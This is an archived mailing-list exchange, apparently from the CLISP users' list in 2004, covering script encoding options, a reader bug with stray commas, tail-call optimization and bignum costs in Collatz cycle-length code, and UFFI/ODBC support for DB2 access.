> The problem is that the whole line is too long for the linux kernel
> and it gets truncated. I would like to set the encodings in the lisp
> code, but the *standard-input* stream already exists.

1. '#!/usr/bin/clisp -E iso-8859-1'
   should help you avoid the kernel limit
   <http://clisp.cons.org/clisp.html#opt-enc>

2. you do not need these in the command line at all:
   set the default encodings explicitly
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   or pass the :external-format argument to open:
   <http://clisp.cons.org/impnotes.html#extfmt>

3. if you want binary input, you should do
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   <http://clisp.cons.org/impnotes.html#open>
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   Otherwise (e.g., when running as a script) *STANDARD-INPUT* will be
   a normal buffered handle stream [at least in the CVS HEAD].
   At any rate, you can always follow the advice in the Fine Manual:
   <http://clisp.cons.org/impnotes.html#bin-stdio>



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Hi,

I'm quite new with the Common Lisp. When programming a small progam with 
the CLISP I encountered a "Program Stack overflow. Reset" error when using 
the hash tables. The code is something like this:

(defstruct (object)
  (name)
  (table))

(defun create-obj-with-hash (name)
  (make-object :name name :table (make-hash-table :test 'equal)))

(defvar obj1 (create-obj-with-hash "some name"))

Now if I do the folowing thing a stack overflow error is thrown:

(object-table obj1)

I use CLISP 2.33.1 on Windows XP. Does anybody have an idea what could be 
wrong with the last call.

Thanks allready,

- erik


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> * Erik Karlsson <rxneyffb@pp.uhg.sv> [2004-07-26 23:37:29 +0300]:
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> I use CLISP 2.33.1 on Windows XP.

WFM.

> Does anybody have an idea

<http://clisp.cons.org/faq.html#stack>

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Date: Tue Jul 27 00:11:00 2004
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    $ /usr/local/bin/clisp -ansi -q -norc

    [1]> 1 2
    1
    [2]> 
    2
    [3]> 1 , 2
    1
    [4]> 
    *** - READ: comma is illegal outside of backquote
    Break 1 [5]> 
    [6]> 1, 2
    1
    [7]> 
    *** - READ: comma is illegal outside of backquote
    Break 1 [8]> 
    [9]> 1,
    1

Oops! No error detected here...
    
    [10]> (lisp-implementation-version)
    "2.33.1 (2004-05-22) (built 3297451256) (memory 3297451552)"
    [11]> 


    [11]> 1,2
    1
    [12]> 
    *** - READ: comma is illegal outside of backquote
    Break 1 [13]> 


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-27 09:09:54 +0200]:
>
>     [9]> 1,
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>
> Oops! No error detected here...
>
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>     *** - READ: comma is illegal outside of backquote
>     Break 1 [13]> 

this boils down to the fact that in CLISP

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  (unread-char (read-char cs) cs)
  (eql (peek-char nil cs)
       (peek-char nil (first (concatenated-stream-streams cs)) nil nil)))

returns NIL (while in CMUCL and LWW it return T, even though I see no
indication in ANSI that this is required).

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-27 09:09:54 +0200]:
> >
> >     [9]> 1,
> >     1
> >
> > Oops! No error detected here...
> >
> >     [11]> 1 ,
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> >     [12]> 
> >     *** - READ: comma is illegal outside of backquote
> >     Break 1 [13]> 
> 
> this boils down to the fact that in CLISP
> 
> (let ((cs (make-concatenated-stream (make-string-input-stream "a"))))
>   (unread-char (read-char cs) cs)
>   (eql (peek-char nil cs)
>        (peek-char nil (first (concatenated-stream-streams cs)) nil nil)))
> 
> returns NIL (while in CMUCL and LWW it return T, even though I see no
> indication in ANSI that this is required).

But I did not get the impression that the reader algorithm described in 
www.lispworks.com/reference/HyperSpec/Body/02_b.htm
makes any references to peek-char and unread-char...

In any case, this is a low priority item.


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>Sam Steingold writes:
>> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-27 09:09:54 +0200]:
>> >
>> >     [9]> 1,
>> >     1
>> >
>> > Oops! No error detected here...
>> >
>> >     [11]> 1 ,
>> >     1
>> >     [12]> 
>> >     *** - READ: comma is illegal outside of backquote
>> >     Break 1 [13]> 
>> 
>> this boils down to the fact that in CLISP
>> 
>> (let ((cs (make-concatenated-stream (make-string-input-stream "a"))))
>>   (unread-char (read-char cs) cs)
>>   (eql (peek-char nil cs)
>>        (peek-char nil (first (concatenated-stream-streams cs)) nil nil)))
>> 
>> returns NIL (while in CMUCL and LWW it return T, even though I see no
>> indication in ANSI that this is required).
>
>But I did not get the impression that the reader algorithm described in 
>www.lispworks.com/reference/HyperSpec/Body/02_b.htm
>makes any references to peek-char and unread-char...

Oops, even if I read it lately, I still have to reread it several
times. It indeed refers to UNREAD-CHAR...  Sorry.


>In any case, this is a low priority item.


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Dear all,

finally I am back to lisp after years of boring C/C++ development.
My current project is to port all the company ERP system from C++ with 
desktop GUI to LISP with Web based GUI.
Our choice went to CLISP because is stable, light and has an excellent 
FCGI support.
Unfortunately we are forced to use IBM DB/2 as relational database which 
is not accessible from CLISP directly
and we have estimated a lot of effort to enable CLISP to access DB/2 
through FFI calls.
As you all probably know the CLSQL package requires UFFI and so does not 
work with CLISP.
I am almost forced to move to CMUCL/SBCL or propretary implementation 
(Allegro CL) to have ODBC/DB2 access.
May I suggest the CLISP community to consider the possibility to 
implement UFFI as a second foreign function interface in order to use 
the good UFFI based packages out there ?

Regards

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Hello,
  One of the stated advantages is tail recursion is
that it can be optmized automatically into loops.

(defun three-n (n m)
	   (cond
	     ((= n 1) m)
	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
	     (t (three-n (/ n 2) (1+ m)))))

This function remains unoptimized even after I call
compile.  Is there any command to force such
optimization?

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Date: Wed Jul 28 11:02:59 2004
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Elvin Peterson writes:
> Hello,
>   One of the stated advantages is tail recursion is
> that it can be optmized automatically into loops.
> 
> (defun three-n (n m)
> 	   (cond
> 	     ((= n 1) m)
> 	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
> 	     (t (three-n (/ n 2) (1+ m)))))
> 
> This function remains unoptimized even after I call
> compile.  Is there any command to force such
> optimization?

I see it optimized:


CL-USER> (defun three-n (n m)
	   (cond
	     ((= n 1) m)
	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
	     (t (three-n (/ n 2) (1+ m)))))
THREE-N
CL-USER> (compile 'three-n)
THREE-N
NIL
NIL
CL-USER> (disassemble 'three-n)


Disassembly of function THREE-N
(CONST 0) = 1
(CONST 1) = 3
(CONST 2) = 1/2
2 required arguments
0 optional arguments
No rest parameter
No keyword parameters
22 byte-code instructions:
0     L0
0     (LOAD&PUSH 2)
1     (CONST&PUSH 0)                      ; 1
2     (CALLSR&JMPIF 1 45 L22)             ; =
6     (LOAD&PUSH 2)
7     (CALLS2&JMPIF 148 L25)              ; ODDP
10    (CONST&PUSH 2)                      ; 1/2
11    (LOAD&PUSH 3)
12    (CALLSR 2 55)                       ; *
15    L15
15    (PUSH)
16    (LOAD&INC&PUSH 2)
18    (JMPTAIL 2 5 L0)
22    L22
22    (LOAD 1)
23    (SKIP&RET 3)
25    L25
25    (CONST&PUSH 1)                      ; 3
26    (LOAD&PUSH 3)
27    (CALLSR&PUSH 2 55)                  ; *
30    (CALLS2 150)                        ; 1+
32    (JMP L15)
NIL
CL-USER> (lisp-implementation-version)
"2.33.1 (2004-05-22) (built 3297451256) (memory 3297451635)"
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--- "Pascal J.Bourguignon" wrote:

> Elvin Peterson writes:
> > Hello,
> >   One of the stated advantages is tail recursion
> is
> > that it can be optmized automatically into loops.
> > 
> > (defun three-n (n m)
> > 	   (cond
> > 	     ((= n 1) m)
> > 	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
> > 	     (t (three-n (/ n 2) (1+ m)))))
> > 
> > This function remains unoptimized even after I
> call
> > compile.  Is there any command to force such
> > optimization?
> 
> I see it optimized:
> 
> 
> CL-USER> (defun three-n (n m)
> 	   (cond
> 	     ((= n 1) m)
> 	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
> 	     (t (three-n (/ n 2) (1+ m)))))
> THREE-N
> CL-USER> (compile 'three-n)
> THREE-N
> NIL
> NIL
> CL-USER> (disassemble 'three-n)
> 
> 
> Disassembly of function THREE-N
> (CONST 0) = 1
> (CONST 1) = 3
> (CONST 2) = 1/2
> 2 required arguments
> 0 optional arguments
> No rest parameter
> No keyword parameters
> 22 byte-code instructions:
> 0     L0
> 0     (LOAD&PUSH 2)
> 1     (CONST&PUSH 0)                      ; 1
> 2     (CALLSR&JMPIF 1 45 L22)             ; =
> 6     (LOAD&PUSH 2)
> 7     (CALLS2&JMPIF 148 L25)              ; ODDP
> 10    (CONST&PUSH 2)                      ; 1/2
> 11    (LOAD&PUSH 3)
> 12    (CALLSR 2 55)                       ; *
> 15    L15
> 15    (PUSH)
> 16    (LOAD&INC&PUSH 2)
> 18    (JMPTAIL 2 5 L0)
> 22    L22
> 22    (LOAD 1)
> 23    (SKIP&RET 3)
> 25    L25
> 25    (CONST&PUSH 1)                      ; 3
> 26    (LOAD&PUSH 3)
> 27    (CALLSR&PUSH 2 55)                  ; *
> 30    (CALLS2 150)                        ; 1+
> 32    (JMP L15)
> NIL

This is what I get too.  I have the following code:

(defun max-cycle-len (n m)
	   (let ((max-len 0))
	     (dotimes (i (- m n) max-len)
	       (setf max-len (max (three-n (+ i n) 1)
max-len)))))

Since this is purely iterative, shouldn't the memory
requirements be constant?  However, I cannot run this
for values greater than 1,00,000, as it takes a lot of
time and space.

This is a problem I found on this site:
http://acm.uva.es/p/v1/100.html
And they have stated that C/C++ solutions run in time
0.00 for values of n,m close to 1,000,000.

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Elvin Peterson writes:
> > > (defun three-n (n m)
> > > 	   (cond
> > > 	     ((= n 1) m)
> > > 	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
> > > 	     (t (three-n (/ n 2) (1+ m)))))
> > > 
> 
> This is what I get too.  I have the following code:
> 
> (defun max-cycle-len (n m)
> 	   (let ((max-len 0))
> 	     (dotimes (i (- m n) max-len)
> 	       (setf max-len (max (three-n (+ i n) 1)
> max-len)))))
> 
> Since this is purely iterative, shouldn't the memory
> requirements be constant?  However, I cannot run this
> for values greater than 1,00,000, as it takes a lot of
> time and space.

Did you try to evaluate the complexity of three-n?
There is even yet no proof that it will terminate for all integer input!

 
> This is a problem I found on this site:
> http://acm.uva.es/p/v1/100.html
> And they have stated that C/C++ solutions run in time
> 0.00 for values of n,m close to 1,000,000.

Same here in clisp:

CL-USER> (time (max-cycle-len 1000000 1000010))

Real time: 0.001348 sec.
Run time: 0.0 sec.
Space: 0 Bytes
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Massimiliano Campagnoli writes:
> Dear all,
> 
> finally I am back to lisp after years of boring C/C++ development.
> My current project is to port all the company ERP system from C++ with 
> desktop GUI to LISP with Web based GUI.
> Our choice went to CLISP because is stable, light and has an excellent 
> FCGI support.
> Unfortunately we are forced to use IBM DB/2 as relational database which 
> is not accessible from CLISP directly
> and we have estimated a lot of effort to enable CLISP to access DB/2 
> through FFI calls.
> As you all probably know the CLSQL package requires UFFI and so does not 
> work with CLISP.
> I am almost forced to move to CMUCL/SBCL or propretary implementation 
> (Allegro CL) to have ODBC/DB2 access.
> May I suggest the CLISP community to consider the possibility to 
> implement UFFI as a second foreign function interface in order to use 
> the good UFFI based packages out there ?

I guess you did not try my UFFI for clisp?

   http://www.informatimago.com/develop/lisp/

Can't blame you, I've not tested myself yet...


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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-07-28 11:17:13 -0700]:
>
> (defun max-cycle-len (n m)
> 	   (let ((max-len 0))
> 	     (dotimes (i (- m n) max-len)
> 	       (setf max-len (max (three-n (+ i n) 1)
> max-len)))))
>
> Since this is purely iterative, shouldn't the memory requirements be
> constant?  However, I cannot run this for values greater than
> 1,00,000, as it takes a lot of time and space.

let us investigate:

(defun cycle-length (n &optional (len 1) (top 0))
  (cond ((= n 1) (values len top))
        ((evenp n) (cycle-length (ash n -1) (1+ len) (max top n)))
        (t (let ((next (1+ (* 3 n))))
             (cycle-length next (1+ len) (max top next))))))

(defun max-cycle-length (n m)
  (loop :with arg :and len = 0 :and top :for i :from n :to m :do
    (multiple-value-bind (le to) (cycle-length i)
      (when (> le len) (setq arg i len le top to)))
    :finally (return (values arg len top))))

thus we are getting not just the max cycle-length, but also the number
for which this maximum is achieved and the top intermediate number in
the sequence whose length is the cycle-length.

then let us see what data is actually allocated:

(ext:times (max-cycle-length 1000000 4000000))

                                            Permanent            Temporary
Class                                  instances   bytes    instances   bytes
-----                                  --------- ---------  --------- ---------
BIGNUM                                         1        16   13346541 160531616
-----                                  --------- ---------  --------- ---------
Total                                          1        16   13346541 160531616

Real time: 269.785242 sec.
Run time: 254.7262784 sec.
Space: 160566840 Bytes
GC: 18, GC time: 0.1702448 sec.
3732423 ;
597 ;
294475592320

so, the max cycle-length is 597, it is achieved on 3732423 and the
maximum number in the cycle is 294475592320 -- which is a bignum!

that's what you see in the TIMES output: there were 13346541 temporary
BIGNUMs allocated (for all the numbers in the cycles of all the integers
between 1000000 and 4000000) and a single permanent bignum for the
return value.

So the code operates in fixed stack space but it has to cons up some
bignums.

Note that

     (integer-length 294475592320) ==> 39

i.e. 32-bit integers are insufficient to perform the above calculations
(contrary to http://acm.uva.es/p/v1/100.html).

E.g.,

(defun max-cycle-length (n m)
  (loop :with arg :and len = 0 :and top :for i :from n :to m :do
    (multiple-value-bind (le to) (cycle-length i)
      (when (> (integer-length to) 32)
        (format t "~:D --> ~:D, ~:D~%" i le to))
      (when (> le len) (setq arg i len le top to)))
    :finally (return (values arg len top))))

(max-cycle-length 500000 1000000)
502,441 --> 333, 24,414,590,536
504,057 --> 196, 17,202,377,752
538,271 --> 178, 17,202,377,752
540,542 --> 408, 24,648,077,896
540,543 --> 408, 24,648,077,896
559,785 --> 165, 4,711,755,904
565,247 --> 328, 24,414,590,536
567,065 --> 191, 17,202,377,752
577,230 --> 390, 24,648,077,896
577,231 --> 390, 24,648,077,896
581,883 --> 204, 6,973,568,800
608,111 --> 403, 24,648,077,896
626,331 --> 509, 7,222,283,188
629,759 --> 160, 4,711,755,904
630,527 --> 240, 8,501,092,072
637,948 --> 186, 17,202,377,752
637,949 --> 186, 17,202,377,752
637,950 --> 186, 17,202,377,752
640,641 --> 416, 24,648,077,896
649,385 --> 385, 24,648,077,896
654,619 --> 199, 6,973,568,800
655,359 --> 292, 5,516,201,896
656,415 --> 292, 12,601,065,832
665,215 --> 442, 52,483,285,312
669,921 --> 336, 24,414,590,536
687,871 --> 380, 20,077,607,536
689,639 --> 212, 6,973,568,800
704,511 --> 243, 56,991,483,520
704,623 --> 504, 7,222,283,188
717,694 --> 181, 17,202,377,752
717,695 --> 181, 17,202,377,752
720,722 --> 411, 24,648,077,896
720,723 --> 411, 24,648,077,896
730,559 --> 380, 24,648,077,896
736,447 --> 194, 6,973,568,800
747,291 --> 248, 8,501,092,072
753,662 --> 331, 24,414,590,536
753,663 --> 331, 24,414,590,536
756,086 --> 194, 17,202,377,752
756,087 --> 194, 17,202,377,752
763,675 --> 318, 10,296,265,264
769,641 --> 393, 24,648,077,896
780,391 --> 331, 23,996,686,912
807,407 --> 176, 17,202,377,752
810,814 --> 406, 24,648,077,896
810,815 --> 406, 24,648,077,896
822,139 --> 344, 23,996,686,912
829,087 --> 194, 13,428,962,944
833,775 --> 357, 5,697,379,672
839,678 --> 163, 4,711,755,904
839,679 --> 163, 4,711,755,904
840,702 --> 243, 8,501,092,072
840,703 --> 243, 8,501,092,072
847,871 --> 326, 24,414,590,536
850,596 --> 189, 17,202,377,752
850,597 --> 189, 17,202,377,752
850,598 --> 189, 17,202,377,752
854,191 --> 419, 24,648,077,896
859,135 --> 313, 10,296,265,264
865,846 --> 388, 24,648,077,896
865,847 --> 388, 24,648,077,896
872,825 --> 202, 6,973,568,800
886,953 --> 445, 52,483,285,312
901,119 --> 251, 4,494,683,032
906,175 --> 445, 8,368,783,432
912,167 --> 401, 24,648,077,896
917,161 --> 383, 20,077,607,536
919,518 --> 215, 6,973,568,800
919,519 --> 215, 6,973,568,800
920,559 --> 308, 5,516,201,896
924,907 --> 339, 23,996,686,912
937,599 --> 339, 5,618,306,500
939,497 --> 507, 7,222,283,188
944,639 --> 158, 4,711,755,904
945,791 --> 238, 8,501,092,072
956,924 --> 184, 17,202,377,752
956,925 --> 184, 17,202,377,752
956,926 --> 184, 17,202,377,752
960,962 --> 414, 24,648,077,896
960,963 --> 414, 24,648,077,896
974,078 --> 383, 24,648,077,896
974,079 --> 383, 24,648,077,896
975,015 --> 321, 7,597,578,112
981,929 --> 197, 6,973,568,800
983,039 --> 290, 5,516,201,896
984,623 --> 290, 12,601,065,832
997,823 --> 440, 52,483,285,312

837,799 ;
525 ;
2,974,984,576

note that max LEN and max TOP are achieved on different arguments!


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-28 22:54:49 +0200]:
>
> I guess you did not try my UFFI for clisp?
>    http://www.informatimago.com/develop/lisp/
> Can't blame you, I've not tested myself yet...

I consider this to be a very high priority item.
Is there any functionality which you need in CLISP to finish your port?

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Hi,

I think ODBC via FFI is an overseeable amout of work. I started working
on it and will soon continue. You can find my sources (5 days of work
yet) at www.atp-media.de\odbc-cl\odbc.zip.

Andreas


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Dear all,

finally I am back to lisp after years of boring C/C++ development. My
current project is to port all the company ERP system from C++ with=20
desktop GUI to LISP with Web based GUI.
Our choice went to CLISP because is stable, light and has an excellent=20
FCGI support.
Unfortunately we are forced to use IBM DB/2 as relational database which

is not accessible from CLISP directly
and we have estimated a lot of effort to enable CLISP to access DB/2=20
through FFI calls.
As you all probably know the CLSQL package requires UFFI and so does not

work with CLISP.
I am almost forced to move to CMUCL/SBCL or propretary implementation=20
(Allegro CL) to have ODBC/DB2 access.
May I suggest the CLISP community to consider the possibility to=20
implement UFFI as a second foreign function interface in order to use=20
the good UFFI based packages out there ?

Regards

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-28 22:54:49 +0200]:
> >
> > I guess you did not try my UFFI for clisp?
> >    http://www.informatimago.com/develop/lisp/
> > Can't blame you, I've not tested myself yet...
> 
> I consider this to be a very high priority item.
> Is there any functionality which you need in CLISP to finish your port?

The two functions remaining unimplemented are
UFFI:LOAD-FOREIGN-LIBRARY and UFFI:FIND-FOREIGN-LIBRARY.  I guess the
later could be implemented portably, but the loading needs access to
dlopen. I planed to have a dl module, but since clisp already uses
dlopen when it's available for SYS::DYNLOAD-MODULES, perhaps you could
publish an interface to dlopen, dlerror, dlsym, and dlclose random
libraries.


Otherwise, it needs to be tested, debugged, and used to know if other
low level stuff is needed.


If you leave these DLOPEN, DLERROR, DLSYM and DLCLOSE functions in the
SYSTEM package, I guess it'd be nice to have a *FEATURE* symbol when
they're present, or do you think it'd be better to test 
(FBOUNDP 'SYSTEM:DLOPEN)?

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Pascal J.Bourguignon writes:
> 
> Sam Steingold writes:
> > > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-28 22:54:49 +0200]:
> > >
> > > I guess you did not try my UFFI for clisp?
> > >    http://www.informatimago.com/develop/lisp/
> > > Can't blame you, I've not tested myself yet...
> > 
> > I consider this to be a very high priority item.
> > Is there any functionality which you need in CLISP to finish your port?
> 
> The two functions remaining unimplemented are
> UFFI:LOAD-FOREIGN-LIBRARY and UFFI:FIND-FOREIGN-LIBRARY.  I guess the
> later could be implemented portably, but the loading needs access to
> dlopen. I planed to have a dl module, but since clisp already uses
> dlopen when it's available for SYS::DYNLOAD-MODULES, perhaps you could
> publish an interface to dlopen, dlerror, dlsym, and dlclose random
> libraries.

Forget it. The :LIBRARY clause of FFI:DEF-CALL-OUT should be enough!

Unless there is need for loading a dynlib without explicitely calling
a function in it (for its initialization code if there is?).


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-29 00:24:42 +0200]:
>
> Pascal J.Bourguignon writes:
>> 
>> Sam Steingold writes:
>> > > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-07-28 22:54:49 +0200]:
>> > >
>> > > I guess you did not try my UFFI for clisp?
>> > >    http://www.informatimago.com/develop/lisp/
>> > > Can't blame you, I've not tested myself yet...
>> > 
>> > I consider this to be a very high priority item.
>> > Is there any functionality which you need in CLISP to finish your port?
>> 
>> The two functions remaining unimplemented are
>> UFFI:LOAD-FOREIGN-LIBRARY and UFFI:FIND-FOREIGN-LIBRARY.  I guess the
>> later could be implemented portably, but the loading needs access to
>> dlopen. I planed to have a dl module, but since clisp already uses
>> dlopen when it's available for SYS::DYNLOAD-MODULES, perhaps you could
>> publish an interface to dlopen, dlerror, dlsym, and dlclose random
>> libraries.
>
> Forget it. The :LIBRARY clause of FFI:DEF-CALL-OUT should be enough!

indeed.


when do you expect to submit your code to UFFI maintainers?

Thanks!


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Sam Steingold writes:
> when do you expect to submit your code to UFFI maintainers?

Depends on how much time I'll need to test and match it to the
specifications.

But it's not structured as a patch to the existing UFFI, but as an
independant package implemented over clisp EXT, CUSTOM and FFI
packages, implementing the same interface as The UFFI.

As such, once completed, it could as well be distributed along with
clisp.  I've put it under the LGPL, let me know if you'd rather have
it GPL'ed for inclusion with clisp (but I understand that LGPL is
"weaker" than GPL).

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--- "Pascal J.Bourguignon" wrote:
> 
> Elvin Peterson writes:
> > > > (defun three-n (n m)
> > > > 	   (cond
> > > > 	     ((= n 1) m)
> > > > 	     ((oddp n) (three-n (1+ (* 3 n)) (1+ m)))
> > > > 	     (t (three-n (/ n 2) (1+ m)))))
> > > > 
> > 
> > This is what I get too.  I have the following
> code:
> > 
> > (defun max-cycle-len (n m)
> > 	   (let ((max-len 0))
> > 	     (dotimes (i (- m n) max-len)
> > 	       (setf max-len (max (three-n (+ i n) 1)
> > max-len)))))
> > 
> > Since this is purely iterative, shouldn't the
> memory
> > requirements be constant?  However, I cannot run
> this
> > for values greater than 1,00,000, as it takes a
> lot of
> > time and space.
> 
> Did you try to evaluate the complexity of three-n?
> There is even yet no proof that it will terminate
> for all integer input!

Indeed there is no proof.  I think it is an example
problem in "A Gentle Introduction to Lisp".  However,
it has been verified for very large numbers, and in
this case the limit is 1,000,000.

> 
>  
> > This is a problem I found on this site:
> > http://acm.uva.es/p/v1/100.html
> > And they have stated that C/C++ solutions run in
> time
> > 0.00 for values of n,m close to 1,000,000.
> 
> Same here in clisp:
> 
> CL-USER> (time (max-cycle-len 1000000 1000010))
> 
> Real time: 0.001348 sec.
> Run time: 0.0 sec.
> Space: 0 Bytes
> 259
> 

It will be much longer if you actually want to find
the maximum length, i.e., 

(max-cycle-len 1 1000000)

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--- Sam Steingold wrote:

> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
> [2004-07-28 11:17:13 -0700]:
> >
> > (defun max-cycle-len (n m)
> > 	   (let ((max-len 0))
> > 	     (dotimes (i (- m n) max-len)
> > 	       (setf max-len (max (three-n (+ i n) 1)
> > max-len)))))
> >
> > Since this is purely iterative, shouldn't the
> memory requirements be
> > constant?  However, I cannot run this for values
> greater than
> > 1,00,000, as it takes a lot of time and space.
> 
> let us investigate:
> 
> (defun cycle-length (n &optional (len 1) (top 0))
>   (cond ((= n 1) (values len top))
>         ((evenp n) (cycle-length (ash n -1) (1+ len)
> (max top n)))
>         (t (let ((next (1+ (* 3 n))))
>              (cycle-length next (1+ len) (max top
> next))))))
> 
> (defun max-cycle-length (n m)
>   (loop :with arg :and len = 0 :and top :for i :from
> n :to m :do
>     (multiple-value-bind (le to) (cycle-length i)
>       (when (> le len) (setq arg i len le top to)))
>     :finally (return (values arg len top))))
> 
> thus we are getting not just the max cycle-length,
> but also the number
> for which this maximum is achieved and the top
> intermediate number in
> the sequence whose length is the cycle-length.
> 
> then let us see what data is actually allocated:
> 
> (ext:times (max-cycle-length 1000000 4000000))
> 
>                                            
> Permanent            Temporary
> Class                                  instances  
> bytes    instances   bytes
> -----                                  ---------
> ---------  --------- ---------
> BIGNUM                                         1    
>    16   13346541 160531616
> -----                                  ---------
> ---------  --------- ---------
> Total                                          1    
>    16   13346541 160531616
> 
> Real time: 269.785242 sec.
> Run time: 254.7262784 sec.
> Space: 160566840 Bytes
> GC: 18, GC time: 0.1702448 sec.
> 3732423 ;
> 597 ;
> 294475592320
> 
> so, the max cycle-length is 597, it is achieved on
> 3732423 and the
> maximum number in the cycle is 294475592320 -- which
> is a bignum!
> 
> that's what you see in the TIMES output: there were
> 13346541 temporary
> BIGNUMs allocated (for all the numbers in the cycles
> of all the integers
> between 1000000 and 4000000) and a single permanent
> bignum for the
> return value.
> 
> So the code operates in fixed stack space but it has
> to cons up some
> bignums.

Does this mean that the output of times is not the
actual maximum memory that is used by the function?

> 
> Note that
> 
>      (integer-length 294475592320) ==> 39
> 
> i.e. 32-bit integers are insufficient to perform the
> above calculations
> (contrary to http://acm.uva.es/p/v1/100.html).

So the performance problem is purely due to BIGNUM
allocation?  I suppose then the code will run very
fast on a machine with 64 bit integers.

> 
> E.g.,
> 
> (defun max-cycle-length (n m)
>   (loop :with arg :and len = 0 :and top :for i :from
> n :to m :do
>     (multiple-value-bind (le to) (cycle-length i)
>       (when (> (integer-length to) 32)
>         (format t "~:D --> ~:D, ~:D~%" i le to))
>       (when (> le len) (setq arg i len le top to)))
>     :finally (return (values arg len top))))
> 
> (max-cycle-length 500000 1000000)
> 502,441 --> 333, 24,414,590,536
> 504,057 --> 196, 17,202,377,752
> 538,271 --> 178, 17,202,377,752
> 540,542 --> 408, 24,648,077,896
> 540,543 --> 408, 24,648,077,896
> 559,785 --> 165, 4,711,755,904
> 565,247 --> 328, 24,414,590,536
> 567,065 --> 191, 17,202,377,752
> 577,230 --> 390, 24,648,077,896
> 577,231 --> 390, 24,648,077,896
> 581,883 --> 204, 6,973,568,800
> 608,111 --> 403, 24,648,077,896
> 626,331 --> 509, 7,222,283,188
> 629,759 --> 160, 4,711,755,904
> 630,527 --> 240, 8,501,092,072
> 637,948 --> 186, 17,202,377,752
> 637,949 --> 186, 17,202,377,752
> 637,950 --> 186, 17,202,377,752
> 640,641 --> 416, 24,648,077,896
> 649,385 --> 385, 24,648,077,896
> 654,619 --> 199, 6,973,568,800
> 655,359 --> 292, 5,516,201,896
> 656,415 --> 292, 12,601,065,832
> 665,215 --> 442, 52,483,285,312
> 669,921 --> 336, 24,414,590,536
> 687,871 --> 380, 20,077,607,536
> 689,639 --> 212, 6,973,568,800
> 704,511 --> 243, 56,991,483,520
> 704,623 --> 504, 7,222,283,188
> 717,694 --> 181, 17,202,377,752
> 717,695 --> 181, 17,202,377,752
> 720,722 --> 411, 24,648,077,896
> 720,723 --> 411, 24,648,077,896
> 730,559 --> 380, 24,648,077,896
> 736,447 --> 194, 6,973,568,800
> 747,291 --> 248, 8,501,092,072
> 753,662 --> 331, 24,414,590,536
> 753,663 --> 331, 24,414,590,536
> 756,086 --> 194, 17,202,377,752
> 756,087 --> 194, 17,202,377,752
> 763,675 --> 318, 10,296,265,264
> 769,641 --> 393, 24,648,077,896
> 780,391 --> 331, 23,996,686,912
> 807,407 --> 176, 17,202,377,752
> 810,814 --> 406, 24,648,077,896
> 810,815 --> 406, 24,648,077,896
> 822,139 --> 344, 23,996,686,912
> 829,087 --> 194, 13,428,962,944
> 833,775 --> 357, 5,697,379,672
> 839,678 --> 163, 4,711,755,904
> 839,679 --> 163, 4,711,755,904
> 840,702 --> 243, 8,501,092,072
> 840,703 --> 243, 8,501,092,072
> 847,871 --> 326, 24,414,590,536
> 850,596 --> 189, 17,202,377,752
> 850,597 --> 189, 17,202,377,752
> 850,598 --> 189, 17,202,377,752
> 854,191 --> 419, 24,648,077,896
> 859,135 --> 313, 10,296,265,264
> 865,846 --> 388, 24,648,077,896
> 865,847 --> 388, 24,648,077,896
> 872,825 --> 202, 6,973,568,800
> 886,953 --> 445, 52,483,285,312
> 901,119 --> 251, 4,494,683,032
> 906,175 --> 445, 8,368,783,432
> 912,167 --> 401, 24,648,077,896
> 917,161 --> 383, 20,077,607,536
> 919,518 --> 215, 6,973,568,800
> 919,519 --> 215, 6,973,568,800
> 920,559 --> 308, 5,516,201,896
> 924,907 --> 339, 23,996,686,912
> 937,599 --> 339, 5,618,306,500
> 939,497 --> 507, 7,222,283,188
> 944,639 --> 158, 4,711,755,904
> 945,791 --> 238, 8,501,092,072
> 956,924 --> 184, 17,202,377,752
> 956,925 --> 184, 17,202,377,752
> 956,926 --> 184, 17,202,377,752
> 960,962 --> 414, 24,648,077,896
> 960,963 --> 414, 24,648,077,896
> 974,078 --> 383, 24,648,077,896
> 974,079 --> 383, 24,648,077,896
> 975,015 --> 321, 7,597,578,112
> 981,929 --> 197, 6,973,568,800
> 983,039 --> 290, 5,516,201,896
> 984,623 --> 290, 12,601,065,832
> 997,823 --> 440, 52,483,285,312
> 
> 837,799 ;
> 525 ;
> 2,974,984,576
> 
> note that max LEN and max TOP are achieved on
> different arguments!

This makes sense in light of the earlier explanation.

Thanks for all the help!

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Elvin Peterson writes:
> > > This is a problem I found on this site:
> > > http://acm.uva.es/p/v1/100.html
> > > And they have stated that C/C++ solutions run in
> > > time 0.00 for values of n,m close to 1,000,000.
> > 
> > Same here in clisp:
> > 
> > CL-USER> (time (max-cycle-len 1000000 1000010))
> > 
> > Real time: 0.001348 sec.
> > Run time: 0.0 sec.
> > Space: 0 Bytes
> > 259
> > 
> 
> It will be much longer if you actually want to find
> the maximum length, i.e., 
> 
> (max-cycle-len 1 1000000)

But 1 is not close to 1000000, at least by my undestanding of
close. Do you believe that max_cycle_len(1,1000000) would take only 0
second in C? (While still giving you correct results on a 32bit processor?)


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On Thu, 29 Jul 2004 06:35:56 +0200, Pascal J.Bourguignon <pjb@informatimago.com> wrote:

> Do you believe that max_cycle_len(1,1000000) would take only 0
> second in C? (While still giving you correct results on a 32bit
> processor?)

You can try yourself:

  <http://online-judge.uva.es/problemset/data/p100.c.html>

Of course, it doesn't complete in 0.0 seconds - I killed the program
after it had consumed 100% of my CPU (PIII 1200) for about five
minutes. And of course, as Sam Steingold has pointed out, this
"solution" fails miserably as soon as the numbers involved don't fit
into 32 bits anymore while a Lisp program will yield correct results.

Cheers,
Edi.


